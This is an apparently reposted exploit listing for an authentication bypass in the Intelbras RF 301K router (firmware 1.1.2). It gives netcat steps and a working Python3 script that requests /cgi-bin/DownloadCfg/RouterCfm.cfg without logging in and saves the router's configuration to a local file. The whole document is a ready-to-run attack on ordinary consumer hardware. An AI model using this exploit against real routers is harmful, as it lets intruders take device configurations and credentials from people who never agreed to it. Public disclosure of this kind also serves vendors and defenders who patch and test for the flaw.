发布 2020-11-30 漏洞条目

Intelbras Router RF 301K 1.1.2 – Authentication Bypass

Exploit Source

# Exploit Title: Intelbras Router RF 301K 1.1.2 - Authentication Bypass

# Date: 27/11/2020

# Exploit Author: Kaio Amaral

# Vendor Homepage: https://www.intelbras.com/pt-br/

# Software Link: http://backend.intelbras.com/sites/default/files/2020-10/RF301K_v1.1.2.zip

# Version: firmware version 1.1.2

# Tested on: kali, android

# POC

# 1. nc host port, ex: nc 10.0.0.1 80

# 2. GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0

# Python3

import socket

from time import sleep

def exploit(host, port=80):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

pay = "GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.0\n\n".encode()

s.connect((host, port))

s.send(pay)

sleep(0.2)

data = s.recv(17576)

if len(data) > 1000:

print("[+] Success.")

return data.decode()

print("[-] Failed. ")

exit()

def file(data):

with open("router.cfg", "w") as file:

file.write(data[233:])

print("[+] File Successfully Written.")

file(exploit("10.0.0.1"))

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